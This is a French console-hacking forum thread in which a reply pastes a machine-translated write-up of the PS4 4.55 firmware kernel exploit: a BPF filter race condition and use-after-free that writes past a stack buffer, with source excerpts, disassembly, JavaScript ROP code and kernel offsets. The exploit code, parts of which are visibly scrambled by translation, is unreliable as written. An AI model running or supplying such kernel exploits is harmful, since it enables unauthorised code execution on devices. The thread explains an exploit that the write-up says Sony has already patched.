Aller au contenu


Photo

Comment fonctionne le kernel exploit sur 4.55?


  • Veuillez vous connecter pour répondre
3 réponses à ce sujet

Posté 16 avril 2018 - 12:37

#1
neophrene

neophrene

    Sunriseur

  • Members
  • PipPip
  • 215 messages
  • Sexe:Male
  • Lieu:Nord
Bonjour tout le monde.
Je voulais simplement savoir si quelqu'un de calé pouvait expliquer comment fonctionne vraiment ce kernel exploit ?
Qu'est ce qui fait qu'il agit différemment sur les 5.0x?
J'aimerais en savoir plus afin de voir s'il est possible "éventuellement" de faire quelque chose pour trouver comment sur les versions 5.00 à 5.05.
Merci d'avance.

Config:

-o3DS EmuNAND RXE 10.5 SySNAND 9.2.0-20E

-RXTOOLS 

-Themehax installé

-Boot sur  EMUNAND 

  • Retour en haut

Posté 16 avril 2018 - 22:30

#2
cedsaill

cedsaill

    Sunriseur elite

  • Members
  • PipPipPipPip
  • 1 988 messages
introduction
Bienvenue dans la partie noyau de l'écriture complète de la chaîne d'exploitation PS4 4.55FW. Ce bug a été trouvé par qwerty, et est assez unique dans la façon dont il est exploité, donc je voulais faire une description détaillée de son fonctionnement. La source complète de l'exploit peut être trouvée ici . J'ai déjà couvert l'implémentation de l'exploit Webkit pour l'accès aux utilisateurs ici .

Throwback à 4,05
Si vous lisez ma description de l'exploit du noyau 4.05, vous avez peut-être remarqué que j'ai laissé de côté comment j'ai réussi à vider le noyau avant d'obtenir l'exécution du code. J'ai également omis l'objet cible qui était utilisé avant l' cdevobjet. Cet objet cible était en effet, bpf_d. Parce qu'à l'époque cet exploit impliquant BPF n'était pas public et était un 0-day, je l'ai omis de mon écriture et réécrit l'exploit pour utiliser un objet complètement différent (cela s'est avéré être pour le mieux, comme l'a cdevmontré être plus stable de toute façon).

BPF était un objet cible sympa pour 4.05, car non seulement il contenait des pointeurs de fonction pour exécuter le code par jumpstart, mais il avait aussi une méthode pour obtenir une primitive de lecture arbitraire que je détaillerai ci-dessous. Bien que ce ne soit pas entièrement nécessaire, il est utile que nous n'ayons pas besoin d'écrire le code du dumper plus tard. Cette section n'est pas très pertinente pour l'exploit 4.55, donc je vais rester bref, mais n'hésitez pas à sauter cette section si vous ne vous souciez que de 4.55.

L' bpf_dobjet a des champs liés aux "slots" pour stocker des données. Puisque cette section est juste une friandise pour un exploit plus ancien, j'inclurai seulement les champs appropriés à cette section.

src

struct bpf_d {
// ...
caddr_t bd_hbuf; / * hold slot * / // Décalage: 0x18
// ...
int bd_hlen; / * longueur actuelle du buffer de maintien * / // Offset: 0x2C
// ...
int bd_bufsize; / * longueur absolue des buffers * / // Offset: 0x30
// ...
}
Ces emplacements sont utilisés pour contenir les informations qui sont renvoyées à quelqu'un qui le ferait read()dans le descripteur de fichier de bpf. En définissant le décalage à 0x18 ( bd_hbuf) à l'adresse de l'emplacement que nous voulons vider, et 0x2C et 0x30 ( bd_hlenet bd_bufsizerespectivement) à toute taille que nous choisissons (pour vider le noyau entier, j'ai choisi 0x2800000), nous pouvons obtenir un noyau arbitraire lire la primitive via l' read()appel système sur le descripteur de fichier bpf, et facilement vider la mémoire du noyau.

FreeBSD ou la faute de Sony? Pourquoi pas les deux...
Fait intéressant, ce bug est en fait un bug de FreeBSD et n'était pas (au moins directement) introduit par le code de Sony. Bien que ce soit un bogue de FreeBSD, ce n'est pas très pratique pour la plupart des systèmes car le pilote de périphérique / dev / bpf est la propriété de root, et les droits sont définis sur 0600 (ce qui signifie que le propriétaire a des droits de lecture / écriture. ) - bien qu'il puisse être utilisé pour passer de l'exécution de code en mode noyau à l'exécution de code noyau. Cependant, jetons un coup d'œil à l' make_dev()appel du noyau PS4 pour / dev / bpf (extrait d'un vidage du noyau 4.05).

seg000:FFFFFFFFA181F15B lea rdi, unk_FFFFFFFFA2D77640
seg000:FFFFFFFFA181F162 lea r9, aBpf ; "bpf"
seg000:FFFFFFFFA181F169 mov esi, 0
seg000:FFFFFFFFA181F16E mov edx, 0
seg000:FFFFFFFFA181F173 xor ecx, ecx
seg000:FFFFFFFFA181F175 mov r8d, 1B6h
seg000:FFFFFFFFA181F17B xor eax, eax
seg000:FFFFFFFFA181F17D mov cs:qword_FFFFFFFFA34EC770, 0
seg000:FFFFFFFFA181F188 call make_dev
Nous voyons UID 0 (UID pour l'utilisateur root) être déplacé dans le registre pour le 3ème argument, qui est l'argument propriétaire. Toutefois, les bits d'autorisation sont définis sur 0x1B6, qui est 0666 en octal. Cela signifie que n'importe qui peut ouvrir / dev / bpf avec des privilèges de lecture / écriture. Je ne suis pas sûr pourquoi c'est le cas, qwerty spécule que peut-être bpf est utilisé pour les jeux LAN. Dans tous les cas, il s'agissait d'une décision de conception médiocre, car bpf est généralement considéré comme un privilège et ne doit pas être accessible à un processus totalement non approuvé, tel que WebKit. Sur la plupart des plates-formes, les autorisations pour / dev / bpf seront définies sur 0x180 ou 0600.

Conditions de course - De quoi s'agit-il?
La classe du bug abusée dans cet exploit est connue comme une "condition de course". Avant d'entrer dans les détails sur les bogues, il est important que le lecteur comprenne quelles sont les conditions de course et comment elles peuvent être un problème (en particulier dans quelque chose comme un noyau). Souvent dans un logiciel complexe (comme un noyau), les ressources seront partagées (ou "globales"). Cela signifie que d'autres threads pourraient potentiellement exécuter du code qui accèderait à une ressource accessible par un autre thread au même moment. Que se passe-t-il si un thread accède à cette ressource alors qu'un autre thread le fait sans accès exclusif? Les conditions de course sont introduites.

Les conditions de course sont définies comme des scénarios possibles où les événements se produisent dans une séquence différente de celle du développeur, ce qui conduit à un comportement indéfini. Dans les programmes simples à un seul thread, ce n'est pas un problème car l'exécution est linéaire. Dans les programmes plus complexes où le code peut fonctionner en parallèle cependant, cela devient un vrai problème. Pour éviter ces problèmes, des instructions atomiques et des mécanismes de verrouillage ont été introduits. Quand un thread veut accéder à une ressource critique, il tentera d'acquérir un "verrou". Si un autre thread utilise déjà cette ressource, généralement le thread essayant d'acquérir le verrou attendra jusqu'à ce que l'autre thread soit fini avec lui. Chaque thread doit libérer le verrou à la ressource une fois qu'il a terminé, faute de quoi cela pourrait entraîner un blocage.

Alors que les mécanismes de verrouillage tels que les mutex ont été introduits, les développeurs ont parfois du mal à les utiliser correctement. Par exemple, que se passe-t-il si une donnée partagée est validée et traitée, mais si le traitement des données est verrouillé, la validation ne l'est pas? Il y a une fenêtre entre la validation et le verrouillage où ces données peuvent changer, et tandis que le développeur pense que les données ont été validées, il pourrait être remplacé par quelque chose de malicieux après sa validation, mais avant qu'il ne soit utilisé. La programmation parallèle peut être difficile, surtout quand, en tant que développeur, vous voulez aussi tenir compte du fait que vous ne voulez pas mettre trop de code entre le verrouillage et le déverrouillage car cela peut avoir un impact sur les performances.

Pour en savoir plus sur les conditions de course, voir la page de Microsoft ici

Filtres de paquets - Quels sont-ils?
Puisque le bug est directement dans le système de filtrage, il est important de connaître les bases de ce que sont les filtres de paquets. Les filtres sont essentiellement des ensembles de pseudo-instructions analysées bpf_filter(). Bien que le jeu de pseudo-instructions soit relativement minimal, il vous permet de réaliser des opérations arithmétiques de base et de copier des valeurs dans son tampon. Briser la machine virtuelle BPF dans son intégralité est bien au-delà de la portée de cette écriture, sachez simplement que le code produit par elle est exécuté en mode noyau - c'est pourquoi l'accès en lecture / écriture /dev/bpf doit être privilégié.

Vous pouvez référencer les opcodes que la VM BPF prend ici .

Hors-limites Écrire en primitif
Si nous regardons le gestionnaire du mnémonique "STOREX" bpf_filter(), nous voyons le code suivant:

src

u_int32_t mem [BPF_MEMWORDS];
// ...
cas BPF_STX:
mem [pc-> k] = X;
continuer ;
Ceci est immédiatement intéressant pour nous en tant que développeurs d'exploits. Si nous pouvons définir pc->kn'importe quelle valeur arbitraire, nous pouvons l'utiliser pour établir une primitive d'écriture hors-limites sur la pile. Cela peut être extrêmement utile, par exemple, nous pouvons l'utiliser pour corrompre le pointeur de retour stocké sur la pile, alors quand bpf_filter()nous reviendrons, nous pourrons démarrer une chaîne ROP. C'est parfait, car non seulement c'est une stratégie d'attaque triviale à mettre en œuvre, mais elle est également stable car nous n'avons pas à nous soucier des problèmes qui accompagnent généralement la destruction classique de pile / tas.

Malheureusement, les instructions passent par un validateur, donc essayer de définir pc->kd'une manière qui serait en dehors des limites meméchouera à la vérification de validation. Mais que se passerait-il si des instructions malveillantes pouvaient être substituées après la validation? Il y aurait un problème de «temps de contrôle, d'heure d'utilisation» (TOCTOU).

Course, Remplacer
Définition de filtres
Si nous y jetons un coup d'oeil bpfioctl(), vous remarquerez qu'il existe différentes commandes pour gérer l'interface, définir les propriétés du tampon et, bien sûr, configurer les filtres de lecture / écriture (une liste de ces commandes se trouve sur la page de manuel de FreeBSD . nous passons la commande "BIOSETWF" (notée par 0x8010427Ben bas-niveau), vous remarquerez qu'il bpf_setf()est appelé pour définir un filtre sur le périphérique donné.

src

cas BIOCSETF:
cas BIOCSETFNR:
cas BIOCSETWF:
# ifdef COMPAT_FREEBSD32
cas BIOCSETF32:
cas BIOCSETFNR32:
cas BIOCSETWF32:
# endif
error = bpf_setf (d, ( struct bpf_programme *) addr, cmd);
rompre ;
Si vous regardez où les instructions sont copiées dans le noyau, vous verrez également que bpf_validate()cela fonctionnera immédiatement, ce qui signifie qu'à ce stade, nous ne pouvons pas spécifier une pc->kvaleur qui autorise un accès hors-limites.

src

// ...

size = flen * sizeof (* fp-> bf_insns);
fcode = ( struct bpf_insn *) malloc (taille, M_BPF, M_WAITOK);

if (copyin (( caddr_t ) fp- > bf_insns, ( caddr_t ) fcode, taille) == 0 && bpf_validate (fcode, ( int ) flen)) {
// ...
}

// ...
Manque de propriété
Nous avons examiné le code qui définit un filtre. Jetons un coup d'œil au code qui utilise un filtre. La fonction bpfwrite()est appelée lorsqu'un processus appelle l' write()appel système sur un périphérique bpf valide. Nous pouvons le voir via la table de fonctions suivante pour le support de bpf cdevsw:

src

structure statique cdevsw bpf_cdevsw = {
. d_version = D_VERSION,
. d_open = bpfopen,
. d_read = bpfread,
. d_write = bpfwrite,
. d_ioctl = bpfioctl,
. d_poll = bpfpoll,
. d_name = " bpf " ,
. d_kqfilter = bpfkqfilter,
}
Le but de bpfwrite()est de permettre à l'utilisateur d'écrire des paquets à l'interface. Tous les paquets transmis bpfwrite()passeront par le filtre d'écriture défini sur l'interface, qui est défini via l'IOCTL détaillé dans la sous-section "Définition des filtres".

Il effectue d'abord des vérifications de privilèges (qui ne sont pas pertinentes car sur la PS4, tout processus non approuvé peut écrire avec succès car tout le monde a des autorisations R / W sur le périphérique) et configure des tampons avant d'appeler bpf_movein().

src

bzero (& dst, sizeof (dst));
m = NULL ;
hlen = 0 ;
erreur = bpf_movein (uio, ( int ) d-> bd_bif-> bif_dlt, ifp, & m, & dst, & hlen, d-> bd_wfilter);
if (erreur) {
d-> bd_wdcount ++;
retour (erreur);
}
d-> bd_wfcount ++;
Jetons un coup d'oeil à bpf_movein().

src

* mp = m;

if (m-> m_len <hlen) {
erreur = EPERM;
goto mauvais;
}

erreur = uiomove (mtod (m, u_char *), len, uio);
si (erreur)
goto bad;

slen = bpf_filter (wfilter, mtod (m, u_char *), len, len);
if (slen == 0 ) {
erreur = EPERM;
goto mauvais;
}
Remarquez, il n'y a absolument aucun blocage dans bpf_movein(), ni dans bpfwrite()- l'appelant. Par conséquent, bpf_filter()la fonction qui exécute un programme de filtrage donné sur le périphérique est appelée dans un état déverrouillé. De plus, bpf_filter()lui-même ne fait aucun verrouillage. Aucune propriété n'est conservée ou même obtenue lors de l'exécution du filtre d'écriture. Que se passerait-il si ce filtre était libre () après sa validation bpf_setf()lors de la configuration du filtre et qu'il a été réalloué avec des instructions non valides pendant l'exécution du filtre? :)

En associant trois threads (l'un définissant un filtre valide et non malveillant, l'autre définissant un filtre malveillant et un autre essayant d'écrire en continu () sur bpf), il existe un scénario possible (et très exploitable) où des instructions valides peuvent être remplacé par des instructions invalides, et nous pouvons influencer pc->kà écrire hors-limites sur la pile.

Libérer le filtre
Nous avons besoin d'une méthode pour pouvoir libérer () le filtre dans un autre thread pendant qu'il est encore en cours d'exécution pour déclencher une situation use-after-free (). En regardant bpf_setf(), notez qu'avant d'allouer un nouveau tampon pour les instructions du filtre, il va d'abord vérifier s'il y en a un ancien - s'il y en a, il le détruira.

src

static int bpf_setf ( structure bpf_d * d, structure bpf_program * fp, u_long cmd) {
struct bpf_insn * fcode, * ancien;

// ...

if (cmd == BIOCSETWF) {
old = d-> bd_wfilter;
wfilter = 1 ;
// ...
} else {
wfilter = 0 ;
old = d-> bd_rfilter;
// ...
}

// ...

if (old! = NULL )
libre (( caddr_t ) ancien, M_BPF);

// ...

fcode = ( struct bpf_insn *) malloc (taille, M_BPF, M_WAITOK);

// ...

si (wfilter)
d-> bd_wfilter = fcode;
autre {
d-> bd_rfilter = fcode;
// ...
if (cmd == BIOCSETF)
reset_d (d);
}
}

// ...
}
Parce que bpf_filter()a une copie de d->bd_wfilter, quand il est libre () 'd dans un thread pour remplacer le filtre, le deuxième thread utilisera également le même pointeur (qui est maintenant libre ()' d) résultant en une utilisation-après-libre ( ). Le thread essayant de définir un filtre invalide finit par pulvériser le tas et finira par être alloué dans la même adresse. Nos trois threads feront ce qui suit:

Définir en permanence un filtre avec des instructions valides, en passant les contrôles de validation.
Continuez à définir un autre filtre avec des instructions non valides, en libérant et en remplaçant les anciennes instructions par de nouvelles (celles malveillantes).
Ecrire en continu à bpf. Finalement, le filtre "valide" sera corrompu avec le post-validation invalide et write () l'utilisera, entraînant une corruption de la mémoire. Des instructions spécialement conçues peuvent être utilisées pour écraser l'adresse de retour sur la pile pour obtenir l'exécution de code en mode noyau.
Définir un programme valide
Premièrement, nous devons configurer un bpf_programobjet à passer à l'ioctl () pour définir un filtre. La structure pour bpf_programest ci-dessous:

src

struct bpf_program { // Taille: 0x10
u_int bf_len; // 0x00
struct bpf_insn * bf_insns; // 0x08
};
Il est important de noter que ce bf_lenn'est pas la taille des instructions du programme en octets, mais plutôt la longueur. Cela signifie que la valeur que nous spécifions bf_lensera la taille totale de nos instructions en mémoire divisée par la taille d'une instruction, qui est huit.

src

struct bpf_insn { // Taille: 0x08
u_short code; // 0x00
u_char jt; // 0x02
u_char jf; // 0x03
bpf_u_int32 k; // 0x04
};
Un programme valide est facile à écrire, nous pouvons simplement écrire un tas d'instructions psueod NOP (sans opération) avec une pseudo-instruction "return" à la fin. En regardant bpf.h, nous pouvons déterminer que les opcodes que nous pouvons utiliser pour un NOP et un RET sont respectivement 0x00 et 0x06.

src

# define BPF_LD 0x00 // En spécifiant 0 pour les args, il ne fait rien en réalité
# define BPF_RET 0x06
Voici un extrait de code de l'exploit implémenté dans les chaînes JS ROP pour configurer un programme BPF valide en mémoire:

// Programme d'installation valide
var bpf_valid_prog = malloc ( 0x10 );
var bpf_valid_instructions = malloc ( 0x80 );

p . write8 ( bpf_valid_instructions . ADD32 ( 0x00 ), 0x00000000 );
p . write8 ( bpf_valid_instructions . ADD32 ( 0x08 ), 0x00000000 );
p . write8 ( bpf_valid_instructions . ADD32 ( 0x10 ), 0x00000000 );
p . write8 ( bpf_valid_instructions . ADD32 ( 0x18 ), 0x00000000 );
p . write8 ( bpf_valid_instructions . ADD32 ( 0x20 ), 0x00000000 );
p . write8 ( bpf_valid_instructions . ADD32 ( 0x28 ), 0x00000000 );
p . write8 ( bpf_valid_instructions . ADD32 ( 0x30 ), 0x00000000 );
p . write8 ( bpf_valid_instructions . ADD32 ( 0x38 ), 0x00000000 );
p . write4 ( bpf_valid_instructions . ADD32 ( 0x40 ), 0x00000006 );
p . write4 ( bpf_valid_instructions . ADD32 ( 0x44 ), 0x00000000 );

p . write8 ( bpf_valid_prog . ADD32 ( 0x00 ), 0x00000009 );
p . write8 ( bpf_valid_prog . ADD32 ( 0x08 ), bpf_valid_instructions);
Définir un programme invalide
Ce programme est l'endroit où nous voulons écrire notre code malveillant qui va corrompre la mémoire sur la pile lorsqu'il est exécuté via write(). Ce programme est presque aussi simple que le programme valide, car il contient seulement 9 instructions. Nous pouvons abuser des instructions "LDX" et "STX" pour écrire des données sur la pile, en chargeant d'abord la valeur que nous voulons charger (32 bits) dans le registre d'index, puis en stockant le registre d'index dans un index de ce qui devrait être scratch mémoire, cependant, en raison de l'invalidité des instructions, il écrira en dehors des limites et corrompra le pointeur de retour de la fonction. Voici un aperçu des instructions que nous voulons exécuter dans notre filtre malveillant:

LDX X <- {lower 32-bits of stack pivot gadget address (pop rsp)}
STX M[0x1E] <- X
LDX X <- {upper 32-bits of stack pivot gadget address (pop rsp)}
STX M[0x1F] <- X
LDX X <- {lower 32-bits of kernel ROP chain fake stack address}
STX M[0x20] <- X
LDX X <- {upper 32-bits of kernel ROP chain fake stack address}
STX M[0x21] <- X
RET
Notez le type d' memêtre de type u_int32_t, c'est la raison pour laquelle nos écritures n'augmentent que de 1 au lieu de 4. Jetons un coup d'oeil à memla définition complète:

src

# define BPF_MEMWORDS 16
// ...
u_int32_t mem [BPF_MEMWORDS];
Notez que le tampon est seulement alloué pour 58 octets (16 valeurs * 4 octets par valeur) - mais nos instructions accèdent aux index 30, 31, 32 et 33, qui sont évidemment hors des limites du tampon. Parce que le filtre a été substitué en post-validation, rien ne l'attrape et donc une écriture OOB est née.

L'index 0x1E et 0x1F (30 et 31) est l'emplacement sur la pile de l'adresse de retour. En l'écrasant avec l'adresse d'un pop rsp; ret;gadget et en écrivant la valeur que nous voulons afficher dans le registre RSP aux index 0x20 et 0x21 (32 et 33), nous pouvons faire pivoter la pile avec celle de notre fausse pile pour notre chaîne ROP du noyau. obtenir l'exécution de code dans ring0.



Voici un extrait de code de l'exploit pour configurer un programme BPF malveillant et invalide en mémoire:

// Setup programme invalide
var entry = fenêtre . gadgets [ " pop rsp " ];
var bpf_invalid_prog = malloc ( 0x10 );
var bpf_invalid_instructions = malloc ( 0x80 );

p . write4 ( bpf_invalid_instructions . ADD32 ( 0x00 ), 0x00000001 );
p . write4 ( 0x1C ), 0x0000001F );
p . write4 ( bpf_invalid_instructions . ADD32 ( 0x20 ), bpf_invalid_instructions . ADD32 ( 0x04 ), entrée . bas );
p . write4 ( bpf_invalid_instructions . ADD32 ( 0x08 ), 0x00000003 );
p . write4 ( bpf_invalid_instructions . add32 ( 0x0C ),0x0000001E );
p . write4 ( bpf_invalid_instructions . ADD32 ( 0x10 ), 0x00000001 );
p . write4 ( bpf_invalid_instructions . ADD32 ( 0x14 ), entrée . salut );
p . write4 ( bpf_invalid_instructions . ADD32 ( 0x18 ), 0x00000003 );
p . write4 ( bpf_invalid_instructions . add32 (0x00000001 );
p . . add32 ( 0x2C ), 0x00000020 );
p . write4 ( bpf_invalid_instructions . ADD32 ( 0x30 ), 0x00000001 );
p . write4write4 ( bpf_invalid_instructions . ADD32 ( 0x24 ), kchainstack . faible );
p . write4 ( bpf_invalid_instructions . ADD32 ( 0x28 ), 0x00000003 );
p . write4 ( bpf_invalid_instructions ( bpf_invalid_instructions . ADD32 ( 0x34 ), kchainstack . salut );
p . write4 ( bpf_invalid_instructions . ADD32 ( 0x38 ), 0x00000003 );
p . write4 (bpf_invalid_instructions . add32 ( 0x3C ), 0x00000021 );
p . write4 ( bpf_invalid_instructions . ADD32 ( 0x40 ), 0x00000006 );
p . write4 ( bpf_invalid_instructions . ADD32 ( 0x44 ), 0x00000001 );

p . write8 ( bpf_invalid_prog . ADD32 ( 0x00 ), 0x00000009 );
p . write8 ( bpf_invalid_prog . ADD32 ( 0x08 ), bpf_invalid_instructions);
Création et liaison de périphériques
Pour configurer la partie corruption de la course, nous devons ouvrir deux instances de / dev / bpf. Nous les lierons ensuite à une interface valide - l'interface que vous liez dépend de la manière dont le système est connecté au réseau. S'il s'agit d'une connexion câblée (ethernet), vous voudrez vous lier à l'interface "eth0", si vous êtes connecté via wifi, vous voudrez vous lier à l'interface "wlan0". L'exploit détermine automatiquement quelle interface utiliser en effectuant un test. Le test tente essentiellement write()de l'interface donnée, si elle est invalide, write()échouera et retournera -1. Si cela se produit après la liaison à l'interface "eth0", l'exploit tentera de se reconnecter à "wlan0" et vérifie à nouveau. Si à write()nouveau renvoie -1,

// Ouvrir le premier périphérique et lier
var fd1 = p . syscall ( " sys_open " , stringify ( " / dev / bpf " ), 2 , 0 ); // 0666 autorisations, ouvrir en tant que O_RDWR

p . syscall ( " sys_ioctl " , fd1, 0x8020426C , stringify ( " eth0 " )); // 8020426C = BIOCSETIF

si ( p . syscall ( " SYS_write " , fd1, SPADP, 40 .) de faible == ( - 1 >>> 0 )) {
p . syscall ( " sys_ioctl " , fd1, 0x8020426C , stringify ( " wlan0 " ));

si ( p . syscall ( " SYS_write " , fd1, SPADP, 40 ). faible == ( - 1 >>> 0 )) {
jeter " Echec de se lier au premier périphérique / dev / bpf! " ;
}
}
Le même processus est ensuite répété pour le second dispositif.

Définition de filtres en parallèle
Pour provoquer une corruption de la mémoire, nous avons besoin de deux threads en parallèle qui définissent en permanence les filtres sur leurs propres périphériques. Finalement, le filtre valide sera libre () 'd, réalloué et corrompu avec le filtre invalide. Pour ce faire, chaque thread fait essentiellement ce qui suit (pseudo-code):

// 0x8010427B = BIOCSETWF
void threadOne () // Définit un programme valide
{
pour (;;)
{
ioctl (fd1, 0x8010427B , bpf_valid_program);
}
}

vide threadTwo () // Définit un programme invalide
{
pour (;;)
{
ioctl (fd2, 0x8010427B , bpf_invalid_program);
}
}
Déclenchement de l'exécution du code
Nous pouvons donc corrompre les filtres et les remplacer dans nos instructions invalides, mais nous avons besoin que le filtre soit effectivement exécuté pour déclencher l'exécution du code via l'adresse de retour corrompue. Depuis que nous définissons un filtre "écriture", bpfwrite()est un candidat idéal pour le faire. Cela signifie que nous avons besoin d'un troisième thread qui fonctionnera constamment write()vers le premier périphérique bpf. Lorsque le filtre est finalement corrompu, le suivant write()exécute le filtre invalide, provoquant la corruption de la mémoire de la pile, et saute à n'importe quelle adresse que nous spécifions nous permettant (assez trivialement) d'obtenir l'exécution de code dans ring0.

void threadThree () // Essaye de déclencher l'exécution de code
{
void * scratch = ( void *) malloc ( 0x200 );

pour (;;)
{
uint64_t n = écriture (fd1, scratch, 0x200 );

if (n == 0x200 ))
{
rompre ;
}
}
}
Installation d'un appel système "kexec ()"
Notre but ultime avec la chaîne kROP est d'installer un appel système personnalisé qui exécutera du code en mode noyau. Pour garder les choses cohérentes avec 4.05, nous utiliserons à nouveau syscall # 11. La signature du syscall sera la suivante:

sys_kexec ( code de void *, void * uap);
Faire cela est assez trivial, il suffit d'ajouter une entrée dans la sysenttable. Une entrée dans le sysenttableau suit la structure suivante:

src

struct sysent { / * table d'appel système * /
int sy_narg; / * nombre d'arguments * /
sy_call_t * sy_call; / * implémentation de la fonction * /
au_event_t sy_auevent; / * Evénement d'audit associé à syscall * /
systrace_args_func_t sy_systrace_args_func;
/ * fonction de conversion d'argument optionnelle. * /
u_int32_t sy_entry; / * Identifiant d'entrée DTrace pour systrace. * /
u_int32_t sy_return; / *DTrace retourne l'ID pour systrace. * /
u_int32_t sy_flags; / * Drapeaux généraux pour les appels système. * /
u_int32_t sy_thrcnt;
}
Nos principaux points d'intérêt sont sy_narget sy_call. Nous allons vouloir mettre sy_nargà 2 (un pour l'adresse à exécuter, le second pour passer des arguments). Le sy_callmembre que nous voulons définir sur un gadget qui sera jmpdans le registre RSI, puisque l'adresse du code à exécuter passera par RDI (souvenez-vous, alors que le premier argument est normalement passé dans le registre RDI, dans syscalls, RDI est occupé par le descripteur de fil td). Un jmp qword ptr [rsi]gadget fait ce dont nous avons besoin, et peut être trouvé dans le noyau à l'offset 0x13a39f.

LOAD:FFFFFFFF8233A39F FF 26 jmp qword ptr [rsi]
Dans un vidage du noyau 4.55, nous pouvons voir le décalage pour l' sysententrée pour syscall 11 est 0xC2B8A0. Comme vous pouvez le voir, la fonction d'implémentation est nosys, donc il est parfaitement possible de l'écraser.

_61000010:FFFFFFFF8322B8A0 dq 0 ; Syscall #11
_61000010:FFFFFFFF8322B8A8 dq offset nosys
_61000010:FFFFFFFF8322B8B0 dq 0
_61000010:FFFFFFFF8322B8B8 dq 0
_61000010:FFFFFFFF8322B8C0 dq 0
_61000010:FFFFFFFF8322B8C8 dq 400000000h
En écrivant 2à 0xC2B8A0, [kernel base + 0x13a39f]à 0xC2B8A8, et 100000000à 0xC2BBC8(nous voulons changer les drapeaux de SY_THR_ABSENTà SY_THR_STATIC), nous pouvons insérer avec succès un appel système personnalisé qui exécutera n'importe quel code donné en mode noyau!

Le "Patch" de Sony
L'en-tête de section est un mensonge. Sony n'a pas vraiment corrigé ce problème, cependant, ils savaient que quelque chose de bizarre était en train de se passer avec BPF, car un crash crash l'a accidentellement fait aux serveurs de Sony à cause d'une panique du noyau. Via une simple trace de pile, ils ont déterminé que l'adresse de retour bpfwrite()était corrompue. Sony n'arrivait pas à comprendre comment, alors ils ont décidé de se bpfwrite()débarrasser complètement du noyau - le #SonyWay. Heureusement pour eux, après de nombreuses heures de recherche, il semble qu'il n'y ait pas d'autres primitives utiles pour tirer parti de la corruption du filtre, donc le bug est malheureusement mort.

Pré-Patch BPF cdevsw:

bpf_devsw dd 17122009h ; d_version
; DATA XREF: sub_FFFFFFFFA181F140+1B↑o
dd 80000000h ; d_flags
dq 0FFFFFFFFA1C92250h ; d_name
dq 0FFFFFFFFA181F1B0h ; d_open
dq 0 ; d_fdopen
dq 0FFFFFFFFA16FD1C0h ; d_close
dq 0FFFFFFFFA181F290h ; d_read
dq 0FFFFFFFFA181F5D0h ; d_write
dq 0FFFFFFFFA181FA40h ; d_ioctl
dq 0FFFFFFFFA1820B30h ; d_poll
dq 0FFFFFFFFA16FF050h ; d_mmap
dq 0FFFFFFFFA16FF970h ; d_strategy
dq 0FFFFFFFFA16FF050h ; d_dump
dq 0FFFFFFFFA1820C90h ; d_kqfilter
dq 0 ; d_purge
dq 0FFFFFFFFA16FF050h ; d_mmap_single
dd -5E900FB0h, -1, 0 ; d_spare0
dd 3 dup(0) ; d_spare1
dq 0 ; d_devs
dd 0 ; d_spare2
dq 0 ; gianttrick
dq 4EDE80000000000h ; postfree_list
Post-Patch BPF cdevsw:

bpf_devsw dd 17122009h ; d_version
; DATA XREF: sub_FFFFFFFF9725DB40+1B↑o
dd 80000000h ; d_flags
dq 0FFFFFFFF979538ACh ; d_name
dq 0FFFFFFFF9725DBB0h ; d_open
dq 0 ; d_fdopen
dq 0FFFFFFFF9738D230h ; d_close
dq 0FFFFFFFF9725DC90h ; d_read
dq 0h ; d_write
dq 0FFFFFFFF9725E050h ; d_ioctl
dq 0FFFFFFFF9725F0B0h ; d_poll
dq 0FFFFFFFF9738F050h ; d_mmap
dq 0FFFFFFFF9738F920h ; d_strategy
dq 0FFFFFFFF9738F050h ; d_dump
dq 0FFFFFFFF9725F210h ; d_kqfilter
dq 0 ; d_purge
dq 0FFFFFFFF9738F050h ; d_mmap_single
dd 9738F050h, 0FFFFFFFFh, 0; d_spare0
dd 3 dup(0) ; d_spare1
dq 0 ; d_devs
dd 0 ; dev_spare2
dq 0 ; gianttrick
dq 51EDE0000000000h ; postfree_list
Notez que les données pour d_writen'est plus un pointeur de fonction valide.

Conclusion
C'était un bug assez cool à exploiter et à écrire. Bien que le bogue ne soit pas incroyablement utile sur la plupart des autres systèmes car il ne peut pas être exploité par un utilisateur non privilégié, il est toujours valide comme méthode d'exécution de code root à ring0. Je pensais que ce serait un bogue cool à écrire (et j'adore les écrire de toute façon) car la stratégie d'attaque est assez unique (en utilisant une condition de course pour déclencher une écriture hors-limites sur la pile). C'est aussi un exploit assez trivial à mettre en œuvre, et la stratégie d'écrasement du pointeur de retour sur la pile est une méthode facile à apprendre pour les chercheurs en sécurité. Il souligne également que si une stratégie d'attaque peut être ancienne, celle-ci étant peut-être la plus ancienne, elle peut encore être appliquée dans l'exploitation moderne avec de légères variations
  • Retour en haut

Posté 16 avril 2018 - 22:31

#3
cedsaill

cedsaill

    Sunriseur elite

  • Members
  • PipPipPipPip
  • 1 988 messages

https://github.com/C...-Kernel-Exploit


https://github.com/C...UAF Write-up.md

Modifié par cedsaill, 16 avril 2018 - 22:40.

  • Retour en haut

Posté 17 avril 2018 - 17:25

#4
Hyndrid QC

Hyndrid QC

    Sunriseur elite

  • Banned
  • PipPipPipPip
  • 1 391 messages
  • Sexe:Not Telling

Bonne chance ahahahhahaha


  • Retour en haut




1 utilisateur(s) li(sen)t ce sujet

0 invité(s) et 1 utilisateur(s) anonyme(s)